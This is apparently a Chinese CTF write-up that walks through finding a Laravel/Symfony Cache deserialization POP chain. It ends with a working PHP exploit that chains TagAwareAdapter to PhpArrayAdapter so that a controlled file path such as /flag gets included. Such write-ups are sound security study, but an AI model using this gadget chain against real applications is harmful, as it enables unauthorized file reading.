考点:
反序列化漏洞
laravel pop链的挖掘
做题:
显而易见的考察反序列化漏洞,并且告诉了备份source.tar.gz,直接下载下来开始找pop链。
反序列化的触发点一般为__wakeup()或者__destruct(),更多的是destruct,先找destruct。
使用phpstrom,Ctrl+Shift+R查找function __destruct:
通过逐个分析找到一个可以文件包含的链,
TagAwareAdapter类:
调用过程:__destruct() -> commit() -> invalidateTags() ;继续跟进 invalidateTags()
注意125行调用了类pool属性的saveDeferred方法,由于pool我们可以控制因此我们可以调用任意类的saveDeferred()方法(前提是有这个方法)。
搜索包含saveDeferred()方法的类:
找到一个可以利用的PhpArrayAdapter类;
跟进initialize():
在144行存在文件包含,且$this->file可控,因此可以让它包含/flag就可以得到flag了。
给出exp:
在public目录下创建test.php,将exp写入再本地访问一下就可以得到payload参数的值。
<?php
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $file='/flag';
}
class TagAwareAdapter{
private $deferred = [];
private $pool;
public function __construct()
{
$this->deferred = array('flight' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
}
namespace Symfony\Component\Cache{
class CacheItem{}
}
namespace {
use Symfony\Component\Cache\Adapter\TagAwareAdapter;
$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}
exp中之所以要有一个CacheItem类是因为saveDeferred()方法需要传一个CacheItemInterface类型的值,因为它是一个接口无法实例化,所以我们传入继承它的子类CacheItem类。
得到flag: